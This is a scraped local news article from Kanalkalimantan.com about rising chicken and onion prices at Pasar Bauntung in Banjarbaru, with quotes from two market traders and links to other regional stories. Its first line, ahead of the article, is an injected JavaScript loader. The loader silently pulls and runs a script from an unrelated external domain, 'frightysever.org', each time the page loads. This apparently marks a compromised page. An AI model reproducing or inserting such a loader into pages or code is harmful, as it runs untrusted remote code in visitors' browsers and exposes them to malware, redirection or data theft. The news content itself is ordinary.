(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Hampir sebulan terakhir harga ayam ras alami kenaikan tinggi Kota Banjarbaru.
Di pasar tradisional harga ayam ras sudah di atas Rp 35 ribu per kilogram.
Yati, penjual ayam ras mengaku bahwa harga ayam kian hari terus naik membuat para pedagang kebingungan.
Baca juga: Terbukti Korupsi, Mantan Kades di Tapin Divonis 15 Bulan Penjara
“Gak ada turun-turun lagi ini ayam, kami yang jualan aja bingung,” kata Yati, Senin (8/1/2023) siang.
Yati mengatakan, harga ayam awalnya sekitar Rp30.000 per Lg, lalu naik drastis menjadi Rp39.000 per Kg. Kemudian sempat turun pada angka Rp38.000, hingga saat ini masih berada kisaran Rp 35.500 per Kg.
“Sejak Desember itu harga ayam terus naik. Dari sebelumnya Rp30 ribu saja, saat ini sudah Rp35 ribu per kilogramnya,” sebut dia.
Baca juga: Drama Penemuan Bayi di Kebun Sawit, L Diduga Malu Punya Anak Tak Ada Suami
Penjual ayam ras di Pasar Bauntung ini mengakui kenaikan harga ini terjadi sudah sebulan terakhir ini.
Alasannya ia mengatakan karena kenaikan harga pangan lainnya ditambah dengan produksi ayam yang ikut menurun.
“Jadinya permintaan jadi lebih sedikit, karena tahu ayam naik harganya, ditambah masyarakat sudah banyak masuk kerja jadi permintaan sepi,” ungkap dia.
Baca juga: Nongkrong Sambil Mabuk di Pinggir Jalan, 9 Remaja Dibawa ke Mapolresta Banjarmasin
Menurut kabar yang diakui Yati, harga ayam akan kembali mengalami penurunan nantinya. Namun ia tak bisa memastikan kapan.
Sama dengan harga ayam ras, harga bawang di Pasar Bauntung Bauntung Banjarbaru juga terus naik.
Menurut salah satu pedagang sayur dan bawang, Niken, kenaikan harga bawang merah dan bawang putih tersebut hampir terjadi setiap hari berkisar Rp3.000 hingga Rp5.000 per kilogramnya.
Baca juga: Mengulik Lapak Raja Ramuan Tradisional Khas Kalimantan di Pasar Loak Banjarmasin
“Bawang merah dan putih perkilonya sekarang Rp40 ribu, sebelumnya Rp30 ribuan. Naiknya mulai akhir tahun dan sampai hari ini tidak turun lagi,” ucap Niken.
Sementara harga seperempat kilogram bawang merah dan bawang putih dihargai sekitar Rp10 ribu.
Niken mengatakan harga itu akan diperkirakan akan turun, namun hanya sebentar. Menjelang lebaran tahun 2024 maka kembali akan melonjak.
“Stok ada terus tidak ada sampai kosong, cuma kondisi bawang kurang bagus karena musim hujan, banyak yang dibuang kalau basah, jadinya itu yang bikin mahal,” ungkap dia.
Sementara itu dia menambahkan, selain bawang, sejumlah bahan pangan lain juga mengalami kenaikan seperti tomat. Sedangkan bawang bombay mengalami penurunan di harga standar. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More
KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More
This website uses cookies.